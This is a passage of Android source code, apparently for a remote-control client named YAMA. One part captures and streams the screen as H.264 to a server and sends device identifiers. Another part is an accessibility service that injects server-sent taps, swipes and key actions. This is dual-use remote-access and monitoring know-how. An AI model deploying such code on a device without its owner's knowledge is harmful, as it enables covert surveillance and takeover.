if (env->ExceptionCheck()) { env->ExceptionClear(); g_statusMid = nullptr; }
if (!g_statusMid) LOGE("CaptureService.onNativeStatus not found");
g_nativeExitMid = env->GetStaticMethodID(g_captureClass, "onNativeExit", "()V");
if (env->ExceptionCheck()) { env->ExceptionClear(); g_nativeExitMid = nullptr; }
if (!g_nativeExitMid) LOGE("CaptureService.onNativeExit not found");
UseAndroidLog(PostStatus);
} else {
LOGE("CaptureService class not found");
}
}
}
g_bExit = S_CLIENT_NORMAL;
// g_running 已在 CAS 中设为 true不重复 store
std::thread(ConnectionThread).detach();
LOGI("nativeInit OK server=%s:%d", g_serverIp.c_str(), g_serverPort);
return 0;
}
JNIEXPORT void JNICALL
Java_com_yama_client_YamaBridge_nativeStop(JNIEnv*, jobject)
{
LOGI("nativeStop");
g_bExit = S_CLIENT_EXIT;
g_running.store(false);
}
// 由 CaptureService 在 MediaCodec 配置完成后调用,告知 C++ 侧实际捕获尺寸
JNIEXPORT void JNICALL
Java_com_yama_client_YamaBridge_nativeSetScreenSize(JNIEnv*, jobject, jint width, jint height)
{
g_screenWidth.store(width);
g_screenHeight.store(height);
LOGI("ScreenSize=%dx%d", width, height);
}
// 由 CaptureService 的 MediaCodec.Callback 调用,投递 H.264 NALU
JNIEXPORT void JNICALL
Java_com_yama_client_YamaBridge_nativeOnH264Frame(
JNIEnv* env, jobject,
jbyteArray data, jint offset, jint size, jboolean isKeyframe)
{
// CPP-04 fix: 验证 offset/size 边界,防止越界读写导致崩溃
if (!data || offset < 0 || size <= 0) return;
jsize arrLen = env->GetArrayLength(data);
if ((jlong)offset + size > arrLen) {
LOGE("nativeOnH264Frame: bounds violation offset=%d size=%d arrLen=%d", offset, size, arrLen);
return;
}
jbyte* buf = env->GetByteArrayElements(data, nullptr);
if (!buf) return;
{
std::lock_guard<std::mutex> lk(g_shMutex);
for (auto* h : g_screenHandlers)
h->OnFrameData((const uint8_t*)buf + offset, (uint32_t)size, (bool)isKeyframe);
}
env->ReleaseByteArrayElements(data, buf, JNI_ABORT);
}
} // extern "C"

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package com.yama.client
import android.app.Notification
import android.app.NotificationChannel
import android.app.NotificationManager
import android.app.Service
import android.content.Intent
import android.hardware.display.DisplayManager
import android.hardware.display.VirtualDisplay
import android.media.MediaCodec
import android.media.MediaCodecInfo
import android.media.MediaFormat
import android.media.projection.MediaProjection
import android.media.projection.MediaProjectionManager
import android.os.Build
import android.os.Bundle
import android.os.Handler
import android.os.IBinder
import android.os.Looper
import android.provider.Settings
import android.util.DisplayMetrics
import android.util.Log
import android.view.WindowManager
import android.widget.Toast
class CaptureService : Service() {
companion object {
const val TAG = "YAMA"
const val CHANNEL_ID = "yama_service"
const val NOTIF_ID = 1
const val EXTRA_SERVER_IP = "server_ip"
const val EXTRA_SERVER_PORT = "server_port"
const val EXTRA_PROJECTION_RESULT = "projection_result"
const val EXTRA_PROJECTION_DATA = "projection_data"
private const val MAX_LONG_SIDE = 1080
// CS-01 fix: 通过 idrHandler.post 序列化到主线程,避免 TOCTOU 竞争
@Volatile var instance: CaptureService? = null
@JvmStatic
fun onNativeStatus(msg: String) {
val svc = instance ?: return
svc.idrHandler.post {
Toast.makeText(svc, msg, Toast.LENGTH_LONG).show()
}
}
@JvmStatic
fun onNativeExit() {
val svc = instance ?: return
Log.i(TAG, "onNativeExit: server requested disconnect, stopping service")
svc.idrHandler.post { svc.stopSelf() }
}
@JvmStatic
fun requestIdr() {
val svc = instance ?: return
svc.idrHandler.post {
runCatching {
val p = Bundle()
p.putInt(MediaCodec.PARAMETER_KEY_REQUEST_SYNC_FRAME, 0)
svc.mediaCodec?.setParameters(p)
}
}
}
/**
* 静止屏幕黑屏修复SurfaceFlinger 在无脏区时不向 VirtualDisplay 推帧,
* 导致编码器无输入REQUEST_SYNC_FRAME 悬空排队,浏览器等 10-60 秒才见画面。
* 解决方法:将 VirtualDisplay 宽度临时改变 2px触发一次强制合成
* 编码器随即得到输入帧并消费已排队的 IDR 请求。150ms 后恢复原始尺寸。
*/
@JvmStatic
fun forceFirstFrame() {
val svc = instance ?: return
svc.idrHandler.post {
runCatching {
val vd = svc.virtualDisplay ?: return@runCatching
val w = ControlService.encW
val h = ControlService.encH
val dpi = svc.resources.displayMetrics.densityDpi
Log.d(TAG, "forceFirstFrame: resize ${w}x${h}${w+2}x${h} to trigger composition")
vd.resize(w + 2, h, dpi)
svc.idrHandler.postDelayed({
runCatching { vd.resize(w, h, dpi) }
Log.d(TAG, "forceFirstFrame: restored ${w}x${h}")
}, 150)
}
}
}
}
private var mediaProjection: MediaProjection? = null
private var virtualDisplay: VirtualDisplay? = null
private var mediaCodec: MediaCodec? = null
private val idrHandler = Handler(Looper.getMainLooper())
// CS-04 fix: runCatching 包住 setParameters防止 codec 已停止时抛异常
private val idrRunnable = object : Runnable {
override fun run() {
runCatching {
val p = Bundle()
p.putInt(MediaCodec.PARAMETER_KEY_REQUEST_SYNC_FRAME, 0)
mediaCodec?.setParameters(p)
}
idrHandler.postDelayed(this, 1000)
}
}
override fun onBind(intent: Intent?): IBinder? = null
override fun onCreate() {
super.onCreate()
instance = this
createNotificationChannel()
// CS-06: start with DATA_SYNC type only; upgrade to MEDIA_PROJECTION in
// onStartCommand when the token is actually available. On Android 14+
// (targetSdk 34+) calling startForeground(MEDIA_PROJECTION) without
// immediately pairing it with getMediaProjection() causes the system to
// kill the service after a ~5-second grace period — the root cause of the
// 3-9 s disconnect seen on Google TV when no screen-capture permission
// was granted.
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.Q) {
startForeground(NOTIF_ID, buildNotification(),
android.content.pm.ServiceInfo.FOREGROUND_SERVICE_TYPE_DATA_SYNC)
} else {
startForeground(NOTIF_ID, buildNotification())
}
}
override fun onStartCommand(intent: Intent?, flags: Int, startId: Int): Int {
// CS-03 fix: START_STICKY 重启时 intent 为 null必须在最前面检查
if (intent == null) return START_NOT_STICKY
val ip = intent.getStringExtra(EXTRA_SERVER_IP) ?: return START_NOT_STICKY
val port = intent.getIntExtra(EXTRA_SERVER_PORT, 443)
val androidId = Settings.Secure.getString(contentResolver, Settings.Secure.ANDROID_ID) ?: ""
val model = "${Build.MANUFACTURER} ${Build.MODEL}"
val osVer = "Android ${Build.VERSION.RELEASE} (API ${Build.VERSION.SDK_INT})"
val (sw, sh) = getPhysicalResolution()
val res = "1:${sw}*${sh}"
val user = Build.USER
Log.i(TAG, "CaptureService: server=$ip:$port device=$model res=$res")
// YB-01 fix: so 库加载失败是 Error不被 catch(Exception) 捕获,需单独处理
// ExceptionInInitializerError 包裹 UnsatisfiedLinkError首次访问 object 时触发)
val initRet: Int
try {
initRet = YamaBridge.nativeInit(ip, port, androidId, model, osVer, res, user, packageCodePath ?: "", filesDir.absolutePath)
} catch (e: UnsatisfiedLinkError) {
Log.e(TAG, "Native library load failed: $e")
stopSelf()
return START_NOT_STICKY
} catch (e: ExceptionInInitializerError) {
Log.e(TAG, "Native library init failed: ${e.cause}")
stopSelf()
return START_NOT_STICKY
}
if (initRet != 0) {
Log.e(TAG, "nativeInit failed: ret=$initRet")
stopSelf()
return START_NOT_STICKY
}
val projResult = intent.getIntExtra(EXTRA_PROJECTION_RESULT, -1)
val projData = if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.TIRAMISU)
intent.getParcelableExtra(EXTRA_PROJECTION_DATA, Intent::class.java)
else
@Suppress("DEPRECATION") intent.getParcelableExtra(EXTRA_PROJECTION_DATA)
if (projResult == android.app.Activity.RESULT_OK && projData != null) {
// Android 14+: upgrade foreground type to MEDIA_PROJECTION in the same
// start command that calls getMediaProjection(), as required by API 34+.
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.Q) {
startForeground(NOTIF_ID, buildNotification(),
android.content.pm.ServiceInfo.FOREGROUND_SERVICE_TYPE_MEDIA_PROJECTION)
}
val pm = getSystemService(MEDIA_PROJECTION_SERVICE) as MediaProjectionManager
val mp = pm.getMediaProjection(projResult, projData)
mediaProjection = mp
// CS-05 fix: 分辨率为 0 时不启动采集,避免 MediaCodec 配置崩溃
if (sw > 0 && sh > 0) {
try {
startCapture(mp, sw, sh)
} catch (e: Exception) {
Log.e(TAG, "Screen capture failed: $e — running without capture")
}
} else {
Log.e(TAG, "Invalid screen resolution ${sw}x${sh}, skipping capture")
}
} else {
Log.w(TAG, "No MediaProjection token, skipping screen capture")
}
return START_STICKY
}
override fun onDestroy() {
super.onDestroy()
instance = null
stopCapture()
YamaBridge.nativeStop()
Log.i(TAG, "CaptureService destroyed")
}
// ---------------------------------------------------------------- MediaProjection + MediaCodec
private fun startCapture(mp: MediaProjection, physW: Int, physH: Int) {
val (encW, encH) = scaleDown(physW, physH, MAX_LONG_SIDE)
val dpi = resources.displayMetrics.densityDpi
Log.i(TAG, "Capture: phys=${physW}x${physH} enc=${encW}x${encH} dpi=$dpi")
val codec = MediaCodec.createEncoderByType(MediaFormat.MIMETYPE_VIDEO_AVC)
val surface = configureEncoder(codec, encW, encH)
var configData: ByteArray? = null
codec.setCallback(object : MediaCodec.Callback() {
override fun onInputBufferAvailable(mc: MediaCodec, index: Int) { /* Surface 模式不用 */ }
override fun onOutputBufferAvailable(mc: MediaCodec, index: Int, info: MediaCodec.BufferInfo) {
val buf = mc.getOutputBuffer(index)
if (buf == null || info.size == 0) {
mc.releaseOutputBuffer(index, false)
return
}
buf.position(info.offset)
buf.limit(info.offset + info.size)
if (info.flags and MediaCodec.BUFFER_FLAG_CODEC_CONFIG != 0) {
configData = ByteArray(info.size).also { buf.get(it) }
mc.releaseOutputBuffer(index, false)
return
}
val isKey = info.flags and MediaCodec.BUFFER_FLAG_KEY_FRAME != 0
val frame = ByteArray(info.size).also { buf.get(it) }
mc.releaseOutputBuffer(index, false)
// 部分安卓硬件编码器(如某些高通实现)对 REQUEST_SYNC_FRAME 强制产生的
// IDR 帧不设置 BUFFER_FLAG_KEY_FRAME导致 SendLoop 将所有帧视为 P 帧丢弃。
// 补充扫描 NALU 字节来识别真正的关键帧,确保首帧能顺利发出。
val actualIsKey = isKey || isNaluKeyframe(frame)
val payload = if (actualIsKey && configData != null) configData!! + frame else frame
YamaBridge.nativeOnH264Frame(payload, 0, payload.size, actualIsKey)
}
override fun onError(mc: MediaCodec, e: MediaCodec.CodecException) {
Log.e(TAG, "MediaCodec error: $e")
}
override fun onOutputFormatChanged(mc: MediaCodec, format: MediaFormat) {
Log.i(TAG, "Output format: $format")
}
})
codec.start()
mediaCodec = codec
idrHandler.postDelayed(idrRunnable, 500)
// Android 14+ requires callback registered before createVirtualDisplay()
mp.registerCallback(object : MediaProjection.Callback() {
override fun onStop() {
Log.i(TAG, "MediaProjection stopped — switching to dataSync foreground type")
stopCapture()
// Android 14+: system auto-kills a foreground service whose mediaProjection
// is revoked. Re-declare as dataSync-only to survive without screen capture.
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.Q) {
startForeground(NOTIF_ID, buildNotification(),
android.content.pm.ServiceInfo.FOREGROUND_SERVICE_TYPE_DATA_SYNC)
}
}
}, null)
virtualDisplay = mp.createVirtualDisplay(
"YAMA",
encW, encH, dpi,
DisplayManager.VIRTUAL_DISPLAY_FLAG_AUTO_MIRROR,
surface, null, null
)
YamaBridge.nativeSetScreenSize(encW, encH)
ControlService.physW = physW
ControlService.physH = physH
ControlService.encW = encW
ControlService.encH = encH
Log.i(TAG, "MediaCodec + VirtualDisplay started ${encW}x${encH}")
}
private fun buildFmt(w: Int, h: Int, lowLatency: Boolean, baseline: Boolean) =
MediaFormat.createVideoFormat(MediaFormat.MIMETYPE_VIDEO_AVC, w, h).apply {
setInteger(MediaFormat.KEY_COLOR_FORMAT,
MediaCodecInfo.CodecCapabilities.COLOR_FormatSurface)
setInteger(MediaFormat.KEY_BIT_RATE, 4_000_000)
setInteger(MediaFormat.KEY_FRAME_RATE, 30)
setInteger(MediaFormat.KEY_I_FRAME_INTERVAL, 2)
setInteger(MediaFormat.KEY_PRIORITY, 0)
setInteger(MediaFormat.KEY_OPERATING_RATE, 30)
if (lowLatency) {
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.N)
setInteger(MediaFormat.KEY_LATENCY, 0)
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.Q)
setInteger(MediaFormat.KEY_LOW_LATENCY, 1)
}
if (baseline)
setInteger(MediaFormat.KEY_PROFILE,
MediaCodecInfo.CodecProfileLevel.AVCProfileBaseline)
}
// 逐级降级:低延迟+Baseline → 低延迟 → 默认,确保真机兼容
private fun configureEncoder(codec: MediaCodec, w: Int, h: Int): android.view.Surface {
val configs = listOf(
true to true,
true to false,
false to false,
)
for ((ll, bl) in configs) {
try {
val fmt = buildFmt(w, h, ll, bl)
codec.configure(fmt, null, null, MediaCodec.CONFIGURE_FLAG_ENCODE)
Log.i(TAG, "Encoder configured: lowLatency=$ll baseline=$bl")
return codec.createInputSurface()
} catch (e: Exception) {
Log.w(TAG, "Encoder config failed (lowLatency=$ll baseline=$bl): $e, retrying…")
try { codec.reset() } catch (_: Exception) {}
}
}
throw RuntimeException("MediaCodec: all encoder configs failed")
}
private fun stopCapture() {
idrHandler.removeCallbacks(idrRunnable)
runCatching { virtualDisplay?.release() }
// CS-07 fix: stop 和 release 分开stop 失败不会跳过 release 导致资源泄漏
runCatching { mediaCodec?.stop() }
runCatching { mediaCodec?.release() }
runCatching { mediaProjection?.stop() }
virtualDisplay = null
mediaCodec = null
mediaProjection = null
}
// ---------------------------------------------------------------- 辅助函数
private fun getPhysicalResolution(): Pair<Int, Int> {
val wm = getSystemService(WINDOW_SERVICE) as WindowManager
return if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.R) {
val b = wm.currentWindowMetrics.bounds
Pair(b.width(), b.height())
} else {
@Suppress("DEPRECATION")
val dm = DisplayMetrics()
@Suppress("DEPRECATION")
wm.defaultDisplay.getRealMetrics(dm)
Pair(dm.widthPixels, dm.heightPixels)
}
}
/** 扫描 Annex-B NALU 流,遇到 NAL type 5(IDR)、7(SPS)、8(PPS) 即判定为关键帧 */
private fun isNaluKeyframe(data: ByteArray): Boolean {
var i = 0
while (i + 4 < data.size) {
if (data[i] == 0.toByte() && data[i+1] == 0.toByte() &&
data[i+2] == 0.toByte() && data[i+3] == 1.toByte()) {
val nalType = data[i + 4].toInt() and 0x1F
if (nalType == 5 || nalType == 7 || nalType == 8) return true
i += 5
} else {
i++
}
}
return false
}
/** 按长边上限等比缩小,宽高各自 2 对齐H.264 要求) */
private fun scaleDown(w: Int, h: Int, maxLong: Int): Pair<Int, Int> {
val longSide = maxOf(w, h)
if (longSide <= maxLong) return Pair(w and -2, h and -2)
val scale = maxLong.toDouble() / longSide
return Pair((w * scale).toInt() and -2, (h * scale).toInt() and -2)
}
private fun createNotificationChannel() {
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.O) {
val ch = NotificationChannel(CHANNEL_ID, "YAMA Service",
NotificationManager.IMPORTANCE_LOW)
getSystemService(NotificationManager::class.java)?.createNotificationChannel(ch)
}
}
private fun buildNotification(): Notification {
val b = if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.O)
Notification.Builder(this, CHANNEL_ID)
else
@Suppress("DEPRECATION") Notification.Builder(this)
return b.setContentTitle("YAMA")
.setContentText("Screen monitoring active")
.setSmallIcon(android.R.drawable.ic_menu_camera)
.build()
}
}

View File

@@ -0,0 +1,424 @@
package com.yama.client
import android.accessibilityservice.AccessibilityService
import android.accessibilityservice.GestureDescription
import android.annotation.SuppressLint
import android.content.BroadcastReceiver
import android.content.Context
import android.content.Intent
import android.content.IntentFilter
import android.graphics.Path
import android.graphics.PointF
import android.os.Build
import android.os.Handler
import android.os.Looper
import android.os.SystemClock
import android.util.Log
import android.view.View
import android.view.accessibility.AccessibilityEvent
import android.view.accessibility.AccessibilityNodeInfo
/**
* AccessibilityService that injects touch gestures and global key actions
* dispatched by the server (COMMAND_SCREEN_CONTROL / MSG64).
*
* Requires API 24+ for dispatchGesture(); guarded at runtime so the APK
* installs on API 21+ but gesture injection only runs on 24+.
*
* Activation: Settings → Accessibility → YAMA → enable.
*/
@SuppressLint("NewApi")
class ControlService : AccessibilityService() {
companion object {
const val TAG = "YAMA_CTRL"
// ── Service instance ─────────────────────────────────────────────
@Volatile var instance: ControlService? = null
// ── Active foreground window ─────────────────────────────────────
@JvmStatic
@Volatile var activeWindow: String = "Android"
// ── Screen geometry (set by CaptureService) ──────────────────────
// Server sends coords in encoding space [0, encW) × [0, encH).
// We map them to physical screen space before dispatching.
@Volatile var physW = 1080
@Volatile var physH = 1920
@Volatile var encW = 1080
@Volatile var encH = 1920
// ── Windows message constants ────────────────────────────────────
const val WM_MOUSEMOVE = 0x0200
const val WM_LBUTTONDOWN = 0x0201
const val WM_LBUTTONUP = 0x0202
const val WM_LBUTTONDBLCLK = 0x0203
const val WM_RBUTTONDOWN = 0x0204
const val WM_MBUTTONDOWN = 0x0207
const val WM_MOUSEWHEEL = 0x020A
const val WM_KEYDOWN = 0x0100
const val WM_SYSKEYDOWN = 0x0104
/**
* Called from C++ DataProcess() via JNI on the IO thread.
* Parameters:
* message Windows WM_* constant (low 16 bits of MSG64.message)
* wParam MSG64.wParam (key/button flags; high word of MOUSEWHEEL = delta)
* ptX/ptY MSG64.pt in encoding-space pixels
*/
@JvmStatic
fun onControlEvent(message: Int, wParam: Long, ptX: Int, ptY: Int) {
val svc = instance ?: run {
Log.w(TAG, "ControlService inactive — event 0x${message.toString(16)} dropped")
return
}
// All gesture state lives on the main thread; post there.
svc.handler.post { svc.handleEvent(message, wParam, ptX, ptY) }
}
}
// ── Screen state receiver ─────────────────────────────────────────────
private val screenReceiver = object : BroadcastReceiver() {
override fun onReceive(context: Context?, intent: Intent?) {
when (intent?.action) {
Intent.ACTION_SCREEN_OFF -> activeWindow = "Locked"
Intent.ACTION_USER_PRESENT -> activeWindow = "Android"
}
}
}
// ── Main-thread handler ───────────────────────────────────────────────
private val handler = Handler(Looper.getMainLooper())
// ── TV (Google TV / Android TV) D-pad mode ───────────────────────────
// Activated when FEATURE_LEANBACK is present. Mouse events are translated
// to accessibility focus navigation — no touchscreen or root required.
private var isTV = false
private var tvLastEncX = -1f
private var tvLastEncY = -1f
private var tvAccumDX = 0f
private var tvAccumDY = 0f
private val TV_STEP = 40f // encoding-space pixels per D-pad step
// Touch-drag disambiguation: fire click on LBUTTONUP only if finger barely moved
private var tvTouchDown = false
private var tvTouchDownX = 0f
private var tvTouchDownY = 0f
private var tvTouchMoved = false
private val TV_TAP_THRESHOLD = 15f // encoding pixels — below this = tap, above = drag
// ── Left-button drag accumulator ─────────────────────────────────────
private var lbuttonDown = false
private var gestureStart = 0L
// Pairs of (millisecond offset from gesture start, screen point)
private val strokePoints = mutableListOf<Pair<Long, PointF>>()
// ─────────────────────────────────────────────────────────────────────
// AccessibilityService lifecycle
override fun onServiceConnected() {
super.onServiceConnected()
instance = this
isTV = packageManager.hasSystemFeature("android.software.leanback")
if (isTV) Log.i(TAG, "TV mode: D-pad navigation enabled")
val filter = IntentFilter().apply {
addAction(Intent.ACTION_SCREEN_OFF)
addAction(Intent.ACTION_USER_PRESENT)
}
registerReceiver(screenReceiver, filter)
Log.i(TAG, "ControlService connected phys=${physW}x${physH} enc=${encW}x${encH}")
}
override fun onAccessibilityEvent(event: AccessibilityEvent?) {
if (event?.eventType == AccessibilityEvent.TYPE_WINDOW_STATE_CHANGED) {
val pkg = event.packageName?.toString()
if (!pkg.isNullOrEmpty()) activeWindow = pkg
}
}
override fun onInterrupt() {}
override fun onDestroy() {
super.onDestroy()
runCatching { unregisterReceiver(screenReceiver) }
instance = null
Log.i(TAG, "ControlService destroyed")
}
// ─────────────────────────────────────────────────────────────────────
// Event routing (runs on main thread)
private fun handleEvent(message: Int, wParam: Long, ptX: Int, ptY: Int) {
if (isTV) { handleEventTV(message, wParam, ptX, ptY); return }
// Scale encoding-space coords to physical screen
val x = if (encW > 0) ptX.toFloat() * physW / encW else ptX.toFloat()
val y = if (encH > 0) ptY.toFloat() * physH / encH else ptY.toFloat()
if (message != WM_MOUSEMOVE)
Log.d(TAG, "event 0x${message.toString(16)} enc=($ptX,$ptY) phys=(${x.toInt()},${y.toInt()})")
when (message) {
// ── Left button: accumulate drag path, dispatch on up ─────────
WM_LBUTTONDOWN -> {
lbuttonDown = true
gestureStart = SystemClock.uptimeMillis()
strokePoints.clear()
strokePoints.add(0L to PointF(x, y))
}
WM_MOUSEMOVE -> {
if (lbuttonDown) {
strokePoints.add((SystemClock.uptimeMillis() - gestureStart) to PointF(x, y))
}
}
WM_LBUTTONUP -> {
if (!lbuttonDown) return
lbuttonDown = false
val elapsed = SystemClock.uptimeMillis() - gestureStart
strokePoints.add(elapsed to PointF(x, y))
val down = strokePoints[0].second
val dx = x - down.x
val dy = y - down.y
// ── System edge-gesture detection ────────────────────────────
// dispatchGesture() is unreliable for system gestures; use performGlobalAction.
val hEdge = physH * 0.08f // 8% of screen height = top/bottom trigger zone
val wEdge = physW * 0.08f // 8% of screen width = left/right trigger zone
val minH = physH * 0.15f // minimum vertical travel
val minW = physW * 0.20f // minimum horizontal travel
val fromLeft = down.x < wEdge && dx > minW && Math.abs(dx) > Math.abs(dy) * 1.5f && elapsed < 600L
val fromRight = down.x > physW - wEdge && dx < -minW && Math.abs(dx) > Math.abs(dy) * 1.5f && elapsed < 600L
val fromTop = down.y < hEdge && dy > minH && Math.abs(dy) > Math.abs(dx)
val fromBottom = down.y > physH - hEdge && dy < -minH && Math.abs(dy) > Math.abs(dx)
when {
fromLeft || fromRight -> {
Log.d(TAG, "Edge-swipe back (fromLeft=$fromLeft)")
performGlobalAction(GLOBAL_ACTION_BACK)
}
fromTop -> {
// Right half of screen → quick settings; left half → notifications
if (down.x > physW * 0.5f) {
Log.d(TAG, "Top-swipe quick settings")
performGlobalAction(GLOBAL_ACTION_QUICK_SETTINGS)
} else {
Log.d(TAG, "Top-swipe notifications")
performGlobalAction(GLOBAL_ACTION_NOTIFICATIONS)
}
}
fromBottom -> {
// Slow swipe (≥400 ms) or very long travel → Recents; quick swipe → Home
if (elapsed >= 400L || Math.abs(dy) > physH * 0.40f) {
Log.d(TAG, "Bottom-swipe recents (elapsed=${elapsed}ms)")
performGlobalAction(GLOBAL_ACTION_RECENTS)
} else {
Log.d(TAG, "Bottom-swipe home (elapsed=${elapsed}ms)")
performGlobalAction(GLOBAL_ACTION_HOME)
}
}
dx * dx + dy * dy < 100f -> // 移动 < 10px → 单击
dispatchTap(down.x, down.y)
else ->
dispatchTouchGesture(strokePoints)
}
// 手势执行后立即请求关键帧,让 decoder 尽快看到屏幕变化
CaptureService.requestIdr()
strokePoints.clear()
}
// ── Double-click → two rapid taps ────────────────────────────
WM_LBUTTONDBLCLK -> {
if (Build.VERSION.SDK_INT < Build.VERSION_CODES.N) return
val p = singlePointPath(x, y)
val gesture = GestureDescription.Builder()
.addStroke(GestureDescription.StrokeDescription(p, 0L, 80L))
.addStroke(GestureDescription.StrokeDescription(p, 200L, 80L))
.build()
dispatchGesture(gesture, null, null)
}
// ── Right-click → long press (600 ms) ────────────────────────
WM_RBUTTONDOWN -> {
if (Build.VERSION.SDK_INT < Build.VERSION_CODES.N) return
val stroke = GestureDescription.StrokeDescription(singlePointPath(x, y), 0L, 600L)
dispatchGesture(GestureDescription.Builder().addStroke(stroke).build(), null, null)
}
// ── Scroll wheel → vertical swipe ─────────────────────────────
WM_MOUSEWHEEL -> {
if (Build.VERSION.SDK_INT < Build.VERSION_CODES.N) return
// High 16 bits of wParam hold the signed delta (+120 = up, -120 = down)
val delta = (wParam.toInt() ushr 16).toShort().toInt()
// Wheel-up (+delta) = user wants content above = finger swipes DOWN (+y)
val dy = if (delta > 0) 400f else -400f
val path = Path().apply { moveTo(x, y); lineTo(x, y + dy) }
val stroke = GestureDescription.StrokeDescription(path, 0L, 300L)
dispatchGesture(GestureDescription.Builder().addStroke(stroke).build(), null, null)
CaptureService.requestIdr()
}
// ── Keyboard → global actions only ───────────────────────────
WM_KEYDOWN, WM_SYSKEYDOWN -> handleKeyDown(wParam.toInt() and 0xFFFF)
}
}
// ─────────────────────────────────────────────────────────────────────
// Helpers
private fun dispatchTouchGesture(points: List<Pair<Long, PointF>>) {
if (points.isEmpty()) return
if (Build.VERSION.SDK_INT < Build.VERSION_CODES.N) return
val path = Path()
path.moveTo(points[0].second.x, points[0].second.y)
for (i in 1 until points.size) {
path.lineTo(points[i].second.x, points[i].second.y)
}
// Minimum 50 ms so Android registers the gesture; use actual elapsed for drags.
val duration = maxOf(points.last().first, 50L)
val stroke = GestureDescription.StrokeDescription(path, 0L, duration)
val ok = dispatchGesture(
GestureDescription.Builder().addStroke(stroke).build(),
object : GestureResultCallback() {
override fun onCompleted(g: GestureDescription?) { Log.d(TAG, "Gesture ok") }
override fun onCancelled(g: GestureDescription?) { Log.w(TAG, "Gesture cancelled") }
},
null
)
if (!ok) Log.e(TAG, "dispatchGesture returned false (service not ready?)")
}
// ─────────────────────────────────────────────────────────────────────
// TV D-pad mode — translates mouse events to accessibility focus actions
private fun handleEventTV(message: Int, wParam: Long, ptX: Int, ptY: Int) {
when (message) {
WM_MOUSEMOVE -> {
if (tvLastEncX >= 0) {
tvAccumDX += ptX - tvLastEncX
tvAccumDY += ptY - tvLastEncY
while (tvAccumDX > TV_STEP) { tvMoveFocus(View.FOCUS_RIGHT); tvAccumDX -= TV_STEP }
while (tvAccumDX < -TV_STEP) { tvMoveFocus(View.FOCUS_LEFT); tvAccumDX += TV_STEP }
while (tvAccumDY > TV_STEP) { tvMoveFocus(View.FOCUS_DOWN); tvAccumDY -= TV_STEP }
while (tvAccumDY < -TV_STEP) { tvMoveFocus(View.FOCUS_UP); tvAccumDY += TV_STEP }
}
if (tvTouchDown) {
val dx = ptX - tvTouchDownX
val dy = ptY - tvTouchDownY
if (dx * dx + dy * dy > TV_TAP_THRESHOLD * TV_TAP_THRESHOLD) tvTouchMoved = true
}
tvLastEncX = ptX.toFloat()
tvLastEncY = ptY.toFloat()
}
WM_LBUTTONDOWN -> {
tvTouchDown = true
tvTouchDownX = ptX.toFloat()
tvTouchDownY = ptY.toFloat()
tvTouchMoved = false
tvAccumDX = 0f
tvAccumDY = 0f
tvLastEncX = ptX.toFloat()
tvLastEncY = ptY.toFloat()
}
WM_LBUTTONUP -> {
if (tvTouchDown && !tvTouchMoved) tvClick()
tvTouchDown = false
}
WM_LBUTTONDBLCLK -> tvClick()
WM_RBUTTONDOWN -> performGlobalAction(GLOBAL_ACTION_BACK)
WM_MOUSEWHEEL -> {
val delta = (wParam.toInt() ushr 16).toShort().toInt()
tvScroll(delta < 0)
}
WM_KEYDOWN, WM_SYSKEYDOWN -> {
val vk = wParam.toInt() and 0xFFFF
when (vk) {
0x25 -> tvMoveFocus(View.FOCUS_LEFT) // VK_LEFT
0x26 -> tvMoveFocus(View.FOCUS_UP) // VK_UP
0x27 -> tvMoveFocus(View.FOCUS_RIGHT) // VK_RIGHT
0x28 -> tvMoveFocus(View.FOCUS_DOWN) // VK_DOWN
0x0D -> tvClick() // VK_RETURN
else -> handleKeyDown(vk)
}
}
}
}
@Suppress("DEPRECATION")
private fun tvMoveFocus(direction: Int) {
val root = rootInActiveWindow ?: return
val focused = root.findFocus(AccessibilityNodeInfo.FOCUS_INPUT)
?: root.findFocus(AccessibilityNodeInfo.FOCUS_ACCESSIBILITY)
if (focused == null) {
val first = findFirstFocusable(root)
first?.performAction(AccessibilityNodeInfo.ACTION_FOCUS)
first?.recycle()
} else {
val next = focused.focusSearch(direction)
next?.performAction(AccessibilityNodeInfo.ACTION_FOCUS)
focused.recycle()
next?.recycle()
}
root.recycle()
}
@Suppress("DEPRECATION")
private fun tvClick() {
val root = rootInActiveWindow ?: return
val focused = root.findFocus(AccessibilityNodeInfo.FOCUS_INPUT)
?: root.findFocus(AccessibilityNodeInfo.FOCUS_ACCESSIBILITY)
if (focused != null) {
focused.performAction(AccessibilityNodeInfo.ACTION_CLICK)
focused.recycle()
} else {
Log.w(TAG, "tvClick: no focused node")
}
root.recycle()
}
@Suppress("DEPRECATION")
private fun tvScroll(forward: Boolean) {
val root = rootInActiveWindow ?: return
val action = if (forward) AccessibilityNodeInfo.ACTION_SCROLL_FORWARD
else AccessibilityNodeInfo.ACTION_SCROLL_BACKWARD
val focused = root.findFocus(AccessibilityNodeInfo.FOCUS_INPUT)
?: root.findFocus(AccessibilityNodeInfo.FOCUS_ACCESSIBILITY)
if (focused == null || !focused.performAction(action)) root.performAction(action)
focused?.recycle()
root.recycle()
}
// Walk accessibility tree depth-first, return first visible focusable node (caller must recycle)
@Suppress("DEPRECATION")
private fun findFirstFocusable(node: AccessibilityNodeInfo): AccessibilityNodeInfo? {
if (node.isFocusable && node.isVisibleToUser) return AccessibilityNodeInfo.obtain(node)
for (i in 0 until node.childCount) {
val child = node.getChild(i) ?: continue
val hit = findFirstFocusable(child)
child.recycle()
if (hit != null) return hit
}
return null
}
private fun handleKeyDown(vk: Int) {
when (vk) {
0x08, 0x1B -> performGlobalAction(GLOBAL_ACTION_BACK) // Backspace / Esc
0x24 -> performGlobalAction(GLOBAL_ACTION_HOME) // VK_HOME
0x5D -> performGlobalAction(GLOBAL_ACTION_RECENTS) // VK_APPS
0x2C -> performGlobalAction(GLOBAL_ACTION_TAKE_SCREENSHOT) // PrtSc
}
}
private fun dispatchTap(x: Float, y: Float) {
if (Build.VERSION.SDK_INT < Build.VERSION_CODES.N) return
val path = Path().apply { moveTo(x, y); lineTo(x + 1f, y) }
val stroke = GestureDescription.StrokeDescription(path, 0L, 100L)
val ok = dispatchGesture(GestureDescription.Builder().addStroke(stroke).build(),
object : GestureResultCallback() {
